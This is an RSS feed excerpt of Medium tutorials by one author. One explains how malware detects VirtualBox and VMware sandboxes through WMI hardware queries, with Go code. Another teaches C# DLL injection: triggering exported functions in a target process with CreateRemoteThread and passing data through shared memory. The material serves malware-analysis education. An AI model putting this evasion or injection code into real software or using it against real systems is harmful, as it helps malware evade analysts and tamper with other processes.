<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rao Ahmed on Medium]]></title>
        <description><![CDATA[Stories by Rao Ahmed on Medium]]></description>
        <link>https://medium.com/@raoopf?source=rss-2660e793df1b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*5nilSu0vpkKeakjp</url>
            <title>Stories by Rao Ahmed on Medium</title>
            <link>https://medium.com/@raoopf?source=rss-2660e793df1b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 09:56:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@raoopf/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Anti-Virtualization Explained: Detecting Hypervisors Through Native WMI Queries]]></title>
            <link>https://medium.com/@raoopf/anti-virtualization-explained-detecting-hypervisors-through-native-wmi-queries-ace3903a1e3c?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ace3903a1e3c</guid>
            <category><![CDATA[virtualization]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Wed, 16 Sep 2026 16:51:26 GMT</pubDate>
            <atom:updated>2026-09-16T16:51:26.591Z</atom:updated>
            <content:encoded><![CDATA[<h4>How system metadata allows malicious binaries to outsmart automated analysis.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7TDUs4_DJ9BtGnZB-pHgLQ.png" /></figure><blockquote><strong>Note: </strong>I am using <strong>Golang </strong>for code demonstration, but you can use any language. The logic remains the same; only the syntax differs.</blockquote><blockquote><strong>Scope</strong>: The scope of this article is limited to VirtualBox and VMware. Testing can be performed on other hypervisors, such as Hyper‑V, QEMU, and Xen, at your discretion.</blockquote><blockquote><strong>Github Link:</strong> <a href="https://github.com/RaoAhmed/Anti-Virtualization.git">https://github.com/RaoAhmed/Anti-Virtualization.git</a></blockquote><h3>What Is Anti-virtualization?</h3><p>Anti-virtualization refers to the tactics malware uses to detect whether it is running inside a virtual machine (VM) or an automated sandbox, allowing it to hide its malicious payload and appear harmless. Security analysts rely on virtual environments to safely execute and study suspicious software, so if the malware realizes it is being watched in a lab, it simply shuts down or behaves like normal software.</p><h4><strong>The Core Concept: Real World vs. Lab Environment</strong></h4><p>A virtual machine is an emulation of a physical computer. While hypervisors (like VMware, VirtualBox, or Hyper-V) do an excellent job mimicking real hardware, they inevitably leave behind digital “fingerprints”. Malware acts like an undercover agent looking around a room: if it notices artificial furniture or lab equipment, it refuses to speak.</p><h3>The Broader Anti-Virtualization Landscape</h3><p>When malware lands on a machine, it acts like a cautious guest trying to figure out if it just walked into a real living room (actual system) or a staged movie set (virtual environment). To figure out whether it’s on a real target’s PC or trapped inside an analyst’s sandbox, it usually checks four key areas:</p><ul><li><strong>Spotting Leftover Clues:</strong> Think about what happens when you install VirtualBox or VMware — you get helper tools, special mouse drivers, and specific registry entries. Malware snoops through system folders, the Windows Registry, and even your network card’s MAC address. If it runs into obvious files or vendor tags left behind by virtualization software, the jig is up.</li><li><strong>Checking the Hardware Budget:</strong> When was the last time you used a modern daily computer with 2 GB of RAM, a tiny 20 GB drive, and a single CPU core? Probably never. But automated security labs spin up dozens of disposable VMs at once, so researchers strip them down to the bare minimum to save resources. When malware sees specs that look like they belong in 2004, it immediately gets suspicious.</li><li><strong>Interrogating the Processor:</strong> Programs can talk straight to your CPU and ask, “Who made you?” Using low-level commands like CPUID, malware forces the processor to reveal its identity—and hypervisors often openly admit they are running the show. Attackers also use a digital stopwatch on basic instructions; if a simple task takes extra clock cycles because a hypervisor stepped in to translate it, the malware knows an invisible middleman is eavesdropping.</li><li><strong>Looking for Signs of Life:</strong> Your personal machine feels lived in — you have messy desktop shortcuts, browser cookies, and erratic mouse movements. A freshly booted sandbox is a sterile ghost town. If the mouse never budges, the browser cache is completely blank, or the internal clock seems to be fast-forwarding time to rush through sleep timers, the malware smells a trap and refuses to run.</li></ul><h3>OUR MAIN FOCUS</h3><h4>Why Focus on WMI?</h4><p>In this article, we will not focus on all four key areas, instead <strong>we will only focus on WMI </strong>and here is why:</p><p>Think of Windows Management Instrumentation (WMI) as the operating system’s built-in front desk. It is a native tool Windows uses to organize and report on everything happening under the hood with your hardware and software. If you want to know what’s inside your computer, you can simply ask WMI using queries that look almost identical to regular SQL database commands.</p><p><strong>Why do malware authors love this so much?</strong> Simple: it is the ultimate way to blend into the background. Instead of relying on noisy, low-level system calls that immediately make antivirus alarms screech, the malware simply asks a trusted, built-in Windows service a polite question. To your security tools, asking WMI <em>“Hey, what kind of machine is this?”</em> doesn’t look like an attack at all — it looks like standard IT software running a routine inventory check.</p><h4>Hardware Fingerprinting via WMI</h4><p>On a physical PC, the operating system talks straight to the actual physical chips soldered onto the motherboard to find out who built the machine. But inside a virtual machine, that physical chip doesn’t exist. A virtual machine has to fake all of this hardware, and by default, virtualization software fills these hardware descriptions with its own brand names.</p><p>By querying three specific hardware profiles, malware can unmask the hypervisor:</p><p><em>Note: you can check the hardware profiles through either the </em><strong><em>system information </em></strong><em>or through the </em><strong><em>registry (path: </em></strong>Computer\HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS)</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.canva.com%2Fdesign%2FDAHVEkSSe8c%2F_tmQpYILXkMcYwN4H3KaBQ%2Fview%3Fembed%26meta&amp;display_name=Canva&amp;url=https%3A%2F%2Fwww.canva.com%2Fdesign%2FDAHVEkSSe8c%2F_tmQpYILXkMcYwN4H3KaBQ%2Fview%3Futm_content%3DDAHVEkSSe8c%26utm_campaign%3Ddesignshare%26utm_medium%3Dlink2%26utm_source%3Duniquelinks%26utlId%3Dha3f6805580&amp;image=https%3A%2F%2Fwww.canva.com%2Fdesign%2FDAHVEkSSe8c%2F_tmQpYILXkMcYwN4H3KaBQ%2Fscreen%3Ftype%3Dthumbnail&amp;type=text%2Fhtml&amp;schema=canva" width="794" height="1123" frameborder="0" scrolling="no"><a href="https://medium.com/media/220c399aefe745f5772904672bd549ef/href">https://medium.com/media/220c399aefe745f5772904672bd549ef/href</a></iframe><ul><li><strong>System Manufacturer and System Model:</strong> If you check this on your daily laptop, you’ll see familiar consumer names like Dell, HP, or Lenovo, along with your specific model number. But an off-the-shelf VM won’t even try to hide it. It will literally return values like &quot;VMware, Inc.&quot;, &quot;VirtualBox&quot;, or &quot;Microsoft Corporation&quot; with the model listed simply as &quot;Virtual Machine&quot;. It’s the digital equivalent of an undercover agent wearing a badge that says &quot;Undercover Agent.&quot; 😅</li><li><strong>BIOS Vendor and BIOS Version:</strong> The BIOS is the very first piece of code that wakes up your hardware before Windows even starts booting. On a real system, you’ll see established firmware vendors like Lenovo in my case. Inside a VM, it always gives itself away with strings containing “VBOX”, “VMware, Inc.”, “QEMU”, or “Xen” baked directly into the version data.</li><li><strong>BaseBoard (Motherboard) Manufacturer and Product:</strong> The motherboard is the backbone connecting every component in a PC. If you built or bought a physical desktop, you’d expect to see board makers like Lenovo, ASUS, MSI, or Gigabyte. An untuned virtual machine, on the other hand, proudly reports &quot;Oracle Corporation&quot; as the maker, with &quot;VirtualBox&quot; or &quot;VMware Virtual Platform&quot; stamped right where the motherboard model should be.</li></ul><h3><strong>CODE</strong></h3><p>Here is how we fetch these things using code:</p><pre>package main<br><br>import (<br> &quot;fmt&quot;<br> &quot;log&quot;<br><br> // go get github.com/yusufpapurcu/wmi<br> &quot;github.com/yusufpapurcu/wmi&quot;<br>)<br><br>type Win32_ComputerSystem struct {<br> Manufacturer string<br> Model        string<br>}<br><br>type Win32_BIOS struct {<br> SMBIOSBIOSVersion string<br> Manufacturer      string<br> Version           string<br>}<br><br>type Win32_BaseBoard struct {<br> Manufacturer string<br> Product      string<br>}<br><br>func main() {<br><br> // 1. System Manufacturer &amp; System Model<br> var compSys []Win32_ComputerSystem<br> err := wmi.Query(&quot;SELECT Manufacturer, Model FROM Win32_ComputerSystem&quot;, &amp;compSys)<br> if err != nil || len(compSys) == 0 {<br>  log.Printf(&quot;Failed to query Win32_ComputerSystem: %v&quot;, err)<br>  compSys = append(compSys, Win32_ComputerSystem{Manufacturer: &quot;Unknown&quot;, Model: &quot;Unknown&quot;})<br> }<br><br> // 2. BIOS Version<br> var bios []Win32_BIOS<br> err = wmi.Query(&quot;SELECT SMBIOSBIOSVersion, Manufacturer, Version FROM Win32_BIOS&quot;, &amp;bios)<br> if err != nil || len(bios) == 0 {<br>  log.Printf(&quot;Failed to query Win32_BIOS: %v&quot;, err)<br>  bios = append(bios, Win32_BIOS{SMBIOSBIOSVersion: &quot;Unknown&quot;, Manufacturer: &quot;Unknown&quot;, Version: &quot;Unknown&quot;})<br> }<br><br> // 3. BaseBoard Manufacturer &amp; BaseBoard Product<br> var baseBoard []Win32_BaseBoard<br> err = wmi.Query(&quot;SELECT Manufacturer, Product FROM Win32_BaseBoard&quot;, &amp;baseBoard)<br> if err != nil || len(baseBoard) == 0 {<br>  log.Printf(&quot;Failed to query Win32_BaseBoard: %v&quot;, err)<br>  baseBoard = append(baseBoard, Win32_BaseBoard{Manufacturer: &quot;Unknown&quot;, Product: &quot;Unknown&quot;})<br> }<br><br> // Print Results<br> fmt.Println(&quot;================ Hardware Details ================&quot;)<br> fmt.Printf(&quot;System Manufacturer:     %s\n&quot;, compSys[0].Manufacturer)<br> fmt.Printf(&quot;System Model:            %s\n&quot;, compSys[0].Model)<br> fmt.Printf(&quot;Bios Version:            %s\n&quot;, bios[0].SMBIOSBIOSVersion)<br> fmt.Printf(&quot;BIOS Manufacturer:       %s\n&quot;, bios[0].Manufacturer)<br> fmt.Printf(&quot;BIOS Version:    %s\n&quot;, bios[0].Version)<br> fmt.Printf(&quot;BaseBoard Manufacturer:  %s\n&quot;, baseBoard[0].Manufacturer)<br> fmt.Printf(&quot;BaseBoard Product:       %s\n&quot;, baseBoard[0].Product)<br> fmt.Println(&quot;==================================================&quot;)<br>}</pre><h4><strong>BREAKDOWN</strong></h4><p><strong>Package &amp; Imports</strong></p><ul><li>fmt: Formats strings and prints output to stdout.</li><li>log: Logs error messages when a WMI query fails.</li><li>[github.com/yusufpapurcu/wmi](https://github.com/yusufpapurcu/wmi): Provides a Go wrapper around Windows WMI via COM/OLE queries using WQL (WMI Query Language).</li></ul><p><strong>Data Structures (WMI Schema Mapping)</strong></p><p>The struct field names directly match the properties exposed by the underlying Windows WMI classes:</p><ul><li>Win32_ComputerSystem: Maps Manufacturer (e.g., Dell, Lenovo, Apple) and Model (e.g., XPS 15, ThinkPad T14).</li><li>Win32_BIOS: Maps BIOS metadata: SMBIOSBIOSVersion (the modern SMBIOS firmware version string), Manufacturer, and legacy Version.</li><li>Win32_BaseBoard: Maps motherboard details: Manufacturer and Product (board model name/number).</li></ul><p><strong>Execution Logic (</strong><strong>main)</strong></p><ol><li><strong>System &amp; Model Query (</strong><strong>Win32_ComputerSystem)</strong>: Runs wmi.Query passing a pointer to the slice &amp;compSys. If the query errors out or returns an empty list, it logs the error and injects a fallback struct with &quot;Unknown&quot; values so index zero (compSys[0]) remains safe to read later.</li><li><strong>BIOS Query (</strong><strong>Win32_BIOS)</strong>: Fetches firmware details into the bios slice. It applies the same error handling and fallback mechanism.</li><li><strong>Motherboard Query (</strong><strong>Win32_BaseBoard)</strong>: Fetches motherboard specs into baseBoard, also defaulting to &quot;Unknown&quot; on failure.</li><li><strong>Displaying Results</strong>: Prints the retrieved properties using fmt.Printf in a clean terminal table format.</li></ol><h4>OUTPUT</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEei0Qus08w61a1WIknDvg.png" /></figure><h3>The Underlying Detection Logic</h3><p>The concept behind this evasion technique is straightforward keyword blacklisting. The program queries the system for these hardware strings, converts the text to a uniform casing, and checks for known vendor signatures (such as vmware, vbox, qemu, virtual, or xen). If any of the hardware descriptors match these signatures instead of consumer hardware vendors, the software assumes it is inside an analysis lab.</p><h4><strong>Post Detection Behaviours</strong></h4><p>Once malware detects that it is running inside an analysis environment, its response typically follows one of four distinct paths.</p><ul><li><strong>The most cautious samples execute a clean exit</strong>, terminating their process immediately and using delayed background commands or file-stream techniques to delete the executable from the disk without leaving evidence behind.</li><li><strong>Other samples rely on misdirection</strong>, displaying simulated error messages — such as a missing system file — or posing as an ordinary broken installer to convince the analyst that the program simply failed to run.</li><li><strong>A third approach is deliberate delay:</strong> knowing that automated sandboxes usually time out after two to five minutes, the software enters extended sleep cycles, runs intensive mathematical loops to consume analysis time, or stays idle until it registers genuine human mouse movement.</li><li><strong>Finally, more aggressive threats resort to deliberate disruption</strong>, intentionally triggering kernel panics, forcing a Blue Screen of Death, or corrupting system memory to shut down the virtual machine before the monitoring tools can collect meaningful telemetry.</li></ul><h3>Conclusion</h3><p>Ultimately, effective anti-virtualization does not always require complex exploits or suspicious low-level code; sometimes, asking simple questions through trusted channels is all it takes. By leveraging native Windows management tools like WMI to inspect basic hardware identities, malware can quietly discern whether it is running on a genuine workstation or trapped inside a disposable analysis lab. This dynamic highlights an ongoing cat-and-mouse game in cybersecurity: so long as sandboxes rely on default configurations and exposed hypervisor signatures, threats will continue using legitimate administrative features to bypass automated defenses before analysts even realize what happened. Hardening virtual environments to mirror physical hardware remains an essential step in ensuring these evasive programs cannot simply walk away unnoticed.</p><h3>Article In One Go</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.canva.com%2Fdesign%2FDAHVK36PT0Q%2FurkEnQajWcFY_KGp9LpV1g%2Fview%3Fembed%26meta&amp;display_name=Canva&amp;url=https%3A%2F%2Fwww.canva.com%2Fdesign%2FDAHVK36PT0Q%2FurkEnQajWcFY_KGp9LpV1g%2Fedit%3Futm_content%3DDAHVK36PT0Q%26utm_campaign%3Ddesignshare%26utm_medium%3Dlink2%26utm_source%3Dsharebutton&amp;image=https%3A%2F%2Fwww.canva.com%2Fdesign%2FDAHVK36PT0Q%2FurkEnQajWcFY_KGp9LpV1g%2Fscreen%3Ftype%3Dthumbnail&amp;type=text%2Fhtml&amp;schema=canva" width="1834" height="1024" frameborder="0" scrolling="no"><a href="https://medium.com/media/7a724d3a7a76179fd87b222a1a219ced/href">https://medium.com/media/7a724d3a7a76179fd87b222a1a219ced/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ace3903a1e3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advance DLL Injection: Remote Function Calls And Passing Data]]></title>
            <link>https://medium.com/@raoopf/advance-dll-injection-remote-function-calls-and-passing-data-92313e62ce52?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/92313e62ce52</guid>
            <category><![CDATA[dll-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[low-level-programming]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Sat, 25 Jul 2026 13:07:12 GMT</pubDate>
            <atom:updated>2026-07-25T13:07:12.619Z</atom:updated>
            <content:encoded><![CDATA[<h4>Mastering the Art of DLL Injection Using C# Part 2</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*akAoYWpS2Xk7JSLDQOJ9zA.png" /></figure><blockquote><strong>- You can find the source code for Injector and DLL here:</strong> <a href="https://github.com/RaoAhmed/Advance-DLL-Injection">https://github.com/RaoAhmed/Advance-DLL-Injection</a></blockquote><blockquote><strong>- Link To Part 1:</strong> <a href="https://medium.com/@raoopf/mastering-the-art-of-dll-injection-59e0b3a432fd">Mastering the Art of DLL Injection Using C# | by Rao Ahmed | May 2026 | Medium</a></blockquote><p>Hey everyone, welcome back! In <strong>Part 1</strong> of this series, we looked at the foundational mechanics of simple DLL injection. We walked through how to open a target process, carve out some memory, write our DLL path, and use CreateRemoteThread alongside LoadLibraryA to force our code inside.</p><p>If you missed that, definitely go back and check it out first, because today we are taking things a step further.</p><blockquote><strong>Note:</strong> I am using C# for this project, so all the code we’ll look at is written in C#. But if you are working in C++, go, or another language, don’t worry — the fundamental steps are exactly the same, only the syntax changes.</blockquote><h4>TODAY’S PROBLEM TO TACKLE</h4><p>Once your DLL is successfully sitting inside a target process, how do you actually tell it to execute a specific function on command? And more importantly, since Windows keeps processes completely isolated from one another for security, how do you pass complex data or arguments between your injector and your injected DLL?</p><p>Let’s break down exactly how to solve these two engineering puzzles.</p><h3>How to Call a Remote Function</h3><h4>What Is Remote Function Call?</h4><p>Let’s define what we mean by calling a remote function:</p><blockquote>“Once your DLL is successfully injected into the target process, you might want to trigger a specific function inside that DLL. This is known as calling a remote function.”</blockquote><p>To achieve this, we can export a specific function from our DLL, find out where Windows placed it in memory, and target it explicitly.</p><blockquote><strong>Note:</strong> Ensure your custom DLL has an exported function (often marked with extern “C” or __declspec(dllexport) if written in C/C++).</blockquote><p>High Level Overview:</p><ol><li><strong>Find the remote function</strong> address exported by DLL.</li><li><strong>Calculate Its Offset</strong>.</li><li><strong>Add the offset</strong> into the remote DLL base address.</li><li><strong>Trigger the execution</strong> of that function. Let’s dive into them one by one.</li></ol><h4>Step 1. Find the remote function address</h4><p>This is the most critical step. Other 3 steps are simple if you pull this step correctly. I have researched over the internet and the technique most of them uses is to Load the same DLL (which we injected into the other process) into your own process (the injector) using LoadLibrary() API and then calculates the exported function offset. Well, <strong>THIS DID NOT WORKED FOR ME</strong>. So, I have to do something else. Here is what i did. I injected the DLL locally. Yes, you read it correctly, I didn’t import it, I injected it. That way, the base address of the remote DLL and the Local DLL will be same. And that’s what important, because if base addresses are not same then we won’t be able to correctly identify the exported function offset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0VgAupn8Dr1Rs-WG154iIg.png" /></figure><p>Injecting DLL locally is same as injecting into another process. See below steps:</p><ol><li>Get the current process handle.</li><li>Allocate memory to current process.</li><li>Write the DLL name to the allocated memory of the current process.</li><li>Load the DLL in the current process.</li></ol><p>Let’s see how it looks in code</p><pre>// Get the Handle for the current process <br>Process currentProcess = Process.GetCurrentProcess(); <br>IntPtr currentProcessHandle = currentProcess.Handle; <br><br>// allocate memory to current process <br>IntPtr allocMemAddresslocaly = VirtualAllocEx(currentProcessHandle, IntPtr.Zero, <br>(uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | <br>MEM_RESERVE, PAGE_READWRITE); <br><br>// write the dll name to the current process memory <br>WriteProcessMemory(currentProcessHandle, allocMemAddresslocaly, <br>Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * <br>Marshal.SizeOf(typeof(char))), out bytesWritten); <br><br>// creating a thread localy that will call LoadLibraryA with <br>allocMemAddresslocaly as argument <br>IntPtr hLocalThread = CreateRemoteThread(currentProcessHandle, IntPtr.Zero, 0, <br>loadLibraryAddr, allocMemAddresslocaly, 0, IntPtr.Zero); <br><br>if (hLocalThread == IntPtr.Zero) <br>{ <br>Console.WriteLine(&quot;CreateRemoteThread failed&quot;); <br>Console.WriteLine(Marshal.GetLastWin32Error()); <br>return; <br>} <br><br>Console.WriteLine(&quot;Local thread created&quot;); <br><br>WaitForSingleObject(hLocalThread, INFINITE); <br><br>IntPtr localDllBase; <br>GetExitCodeThread(hThread, out localDllBase); <br>Console.WriteLine($&quot;Local DLL Base: 0x{localDllBase.ToInt64():X}&quot;);</pre><p><strong>CODE BREAKDOWN</strong></p><ul><li>Process.GetCurrentProcess() returns the reference to the current process and .Handle retrieves the handle of the current process.</li><li>VirtualAllocEx() allocates the writable memory inside the current process, and the address of the allocated memory is then stored in allocMemAddresslocaly.</li><li>WriteProcessMemory() writes the DLL path into the allocated memory region.</li><li>CreateRemoteThread() creates a new thread in the current process, configured to execute LoadLibraryA (loadLibraryAddr) with the allocated memory address (allocMemAddresslocaly) passed as its argument. <br>(<strong>NOTE:</strong> IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle(“kernel32.dll”), “LoadLibraryA”);</li><li>hLocalThread != IntPtr.Zero Check whether the thread was created successfully.</li><li>WaitForSingleObject(hLocalThread, INFINITE); Waits for the thread to finish executing.</li><li>GetExitCodeThread() retrieves the return value of the thread. Since the thread executed LoadLibraryA, the returned value is the base address where the DLL was loaded.</li></ul><h4>Step 2. Calculating The Offset</h4><p>Since we got the base address of the DLL, it’s now easy for us to calculate the function offset. Calculating the function offset is important because, otherwise, we won’t know where our function lives in the memory and we won’t be able to call it from the other process.</p><p>It just a basic math. Here is how to do it.</p><ol><li>Find the function address and</li><li>Subtract the DLL base address from it.</li></ol><p>Simple, right? Let’s look at the code:</p><pre>// get the base address of the exported function<br>IntPtr localFunctionAddress = GetProcAddress(GetModuleHandle(dllName), &quot;MyFunction&quot;);<br>Console.WriteLine($&quot;Local Function Address: 0x{localFunctionAddress.ToInt64():X}&quot;);<br><br>// Calculate offset<br>long functionOffset = localFunctionAddress.ToInt64() - localDllBase.ToInt64(); // subtract the DLL base from the function address gives the exported funciton offset<br>Console.WriteLine($&quot;Function Offset: 0x{functionOffset:X}&quot;);</pre><p><strong>CODE BREAKDOWN</strong></p><ul><li>GetModuleHandle(dllName) retrieves the base address of the loaded DLL, and GetProcAddress() fetches the address of the exported function “MyFunction”, which is then stored in localFunctionAddress</li><li>Then function’s offset is calculated within the DLL using functionOffset = localFunctionAddress — localDllBase</li></ul><h4>Step 3. Adding The Function Offset</h4><p>The second last step involves adding the function offset to the base address of the injected DLL of the target process.</p><p>Here is how to do it:</p><pre>// Add offset to the base address of the remote dll (injected dll)<br>IntPtr remoteFunctionAddress = new IntPtr(remoteDllBase.ToInt64() + functionOffset);<br>Console.WriteLine($&quot;Remote Function Address: 0x{remoteFunctionAddress.ToInt64():X}&quot;);</pre><p><strong>CODE BREAKDOWN</strong></p><p>Take the base address of the DLL in the remote process (remoteDllBase), add the previously calculated functionOffset, and store the result in remoteFunctionAddress — this gives the exact location of the exported function inside the remote process.</p><h4><strong>Step 4. Trigger The Execution Of The Remote Function</strong></h4><p>Now that everything is set, the final step is to execute the remote function. This is done by creating a remote thread configured to run remote function.</p><pre>// CreateRemoteThread to execute the remote function.<br>IntPtr remoteThread = CreateRemoteThread(procHandle, IntPtr.Zero, 0, remoteFunctionAddress, IntPtr.Zero, 0, IntPtr.Zero);<br><br>IntPtr exitCode123;<br>WaitForSingleObject(remoteThread, INFINITE);<br>GetExitCodeThread(remoteThread, out exitCode123);<br>Console.WriteLine($&quot;Thread Exit Code: 0x{exitCode123:X}&quot;);</pre><p><strong>CODE BREAKDOWN</strong></p><ul><li>CreateRemoteThread() creates a remote thread in the target process, with remoteFunctionAddress passed as the thread’s start address, causing the remote process to execute the exported function.</li><li>WaitForSingleObject() waits until the remote thread finishes executing.</li><li>GetExitCodeThread() retrieves the return value of the remote thread.</li></ul><p>This will execute the remote function in the target process.</p><h3>Passing Data Between Process</h3><p>Here is where things get tricky. Processes in Windows live in their own private sandboxes. The injector process cannot easily read or write to the memory space of the target process without explicit help.</p><p>If our injector needs to send data such as <em>configurations</em>, <em>target instructions</em>, or <em>data strings</em> over to the injected DLL, we have to bypass this isolation. The technique I used is <strong><em>Inter Process Communication (IPC)</em></strong>. I am not using pointers, and the reason is that they work well only when sending a single argument, like an array or string. However, if we want to send multiple values then pointers are insufficient. That’s why I used IPC.</p><h4>How Things Work Under the Hood</h4><p>To pass data across process boundaries using shared memory, which is a very clean, high performance Inter-Process Communication (IPC) technique, we perform a neat four-step trick:</p><ol><li>Defining a Strict Memory Layout</li><li>Structure Marshalling: Flattening the Object into Raw Bytes</li><li>Memory Mapping: Carving Out the Shared Whiteboard</li><li>Raw Byte Writing</li></ol><h4>Step 1. Defining A Strict Memory Layout</h4><p>Processes in Windows are completely isolated. For an external DLL (likely written in C/C++) to read data created by your C# injector, the memory must be aligned perfectly and that’s why we need to define a Structure.</p><p>Include the following code where you imported all the WIN32 APIs.</p><pre>[StructLayout(LayoutKind.Sequential)]<br>struct SharedData<br>{<br>    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 260)]<br>    public byte[] source;<br><br>    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 260)]<br>    public byte[] destination;<br><br>    public int fileCount;<br>}</pre><p><strong>CODE BREAKDOWN</strong></p><ul><li>[StructLayout(LayoutKind.Sequential)] guarantees that Windows will keep your variables in this exact order in the raw RAM, without shifting them around for local optimization.</li><li>[MarshalAs(UnmanagedType.ByValArray, SizeConst = 260)] forces the source and destination arrays to occupy exactly 260 bytes each (matching the classic Windows MAX_PATH length limit), ensuring the structural size never fluctuates.</li></ul><h4><strong>Step 2. Flattening the Object into Raw Bytes (Marshalling)</strong></h4><p>We can’t just send a high-level C# object straight across a memory mapping. It needs to be flattened into a raw sequence of bytes. And here is how we do it:</p><ol><li>Define the structure and fill it with values.</li><li>Determine how many bytes the structure occupies.</li><li>Allocate unmanaged memory, copy the structure into it, then transfer the raw bytes into a managed byte[]</li><li>Release the temporary unmanaged block, ending up with a byte[] buffer containing the binary representation of the structure.</li></ol><p><strong>CODE</strong></p><pre>SharedData data = new SharedData<br>{<br>    source = ToFixedBytes(@&quot;C:\Source\File\Path&quot;, 260),<br>    destination = ToFixedBytes(@&quot;C:\Destination\Path&quot;, 260),<br>    fileCount = 123<br>};<br><br>int size = Marshal.SizeOf(typeof(SharedData));<br>byte[] buffer = new byte[size];<br>IntPtr ptr = Marshal.AllocHGlobal(size);<br>Marshal.StructureToPtr(data, ptr, false);<br>Marshal.Copy(ptr, buffer, 0, size);<br>Marshal.FreeHGlobal(ptr);</pre><p><strong>CODE BREAKDOWN</strong></p><ul><li>SharedData data = new SharedData{…} Create and initialize a SharedData structure and populate its fields (source, destination, and fileCount). ToFixedBytes(…) is a helper function used to convert the source and destination strings into fixed-size byte arrays so they fit the structure’s layout.</li><li>Marshal.SizeOf(typeof(SharedData)) determines the size of the structure in bytes, and new byte[size] creates a managed byte buffer large enough to hold the entire structure.</li><li>Marshal.AllocHGlobal(size) allocates unmanaged memory on the process heap.</li><li>Marshal.StructureToPtr(data, ptr, false) copy the contents of the SharedData structure into the unmanaged memory block.</li><li>Marshal.Copy(ptr, buffer, 0, size) copy the raw bytes from unmanaged memory into the managed byte array.</li><li>Marshal.FreeHGlobal(ptr) free the unmanaged memory since it is no longer needed.</li><li>At the end, buffer contains the raw binary representation of the SharedData structure, ready to be written to memory.</li></ul><h4>Step 3. Carving Out the Shared Whiteboard (Mapping)</h4><p>Now comes the magic part. The following code creates (or opens if already exits) a 4 KB named shared memory region called “MySharedMemory” that can be used for communication between processes.</p><p><strong>CODE</strong></p><pre>// create shared memory<br>MemoryMappedFile mmf = MemoryMappedFile.CreateOrOpen(&quot;MySharedMemory&quot;, 4096);<br>Console.WriteLine(&quot;shared memory created&quot;);</pre><p><strong>CODE BREAKDOWN</strong></p><ul><li>MemoryMappedFile.CreateOrOpen() creates a named shared memory region. <br>- “MySharedMemory” is the name given to the shared memory object. <br>- 4096 bytes (4 KB) specify the size of shared memory region.</li><li>If a shared memory object named “MySharedMemory” already exists, open it instead of creating a new one.</li><li>Store the resulting MemoryMappedFile object in mmf.</li></ul><p>Because it has a name, any other process on the system (like our injected DLL) can simply request access to “MySharedMemory”. Once it connects, it instantly sees the exact same physical RAM pages that our C# injector sees.</p><h4>Step 4. Writing The Data</h4><p>Finally, we create a view accessor (a tool that lets you safely read/write to the map) and copy our flattened byte buffer directly onto the shared memory region so another process can read it.</p><p><strong>CODE</strong></p><pre>//Write data from C#<br>using (var accessor = mmf.CreateViewAccessor())<br>{<br>    //byte[] data = Encoding.ASCII.GetBytes(&quot;Hello from C#\0&quot;);<br>    accessor.WriteArray(0, buffer, 0, buffer.Length);<br>    //accessor.WriteArray(0, data, 0, data.Length);<br>}<br>Console.WriteLine(&quot;data wirtten to shared memory&quot;);</pre><p><strong>CODE BREAKDOWN</strong></p><ul><li>mmf.CreateViewAccessor() creates a view that provides read/write access to the shared memory region.</li><li>accessor.WriteArray(0, buffer, 0, buffer.Length) writes data into the shared memory. Argument breakdown: <br>- The first 0 specifies the offset in shared memory where writing begins (start of the memory region). <br>- buffer is the byte array containing the flattened SharedData structure. <br>- The second 0 specifies the starting index in the source byte array.<br>- buffer.Length specifies how many bytes to write.</li></ul><p>This copies the entire content of the buffer into the shared memory region.</p><h3>Conclusion</h3><p><strong><em>And just like that, you’ve mastered advanced DLL injection!</em></strong></p><p>From opening processes and allocating memory to bypassing OS isolation and building shared memory bridges, you’ve turned complex Windows internals into a clear, practical toolbox. What once looked like black magic is now a skillset you can apply to malware analysis, defensive engineering, or low-level design.</p><p><strong><em>Congratulations — you’ve achieved what once felt impossible.</em></strong></p><p>Thanks for following this two-part series! If it helped, share it with fellow researchers and stay tuned for the next deep dive.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92313e62ce52" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering the Art of DLL Injection Using C#]]></title>
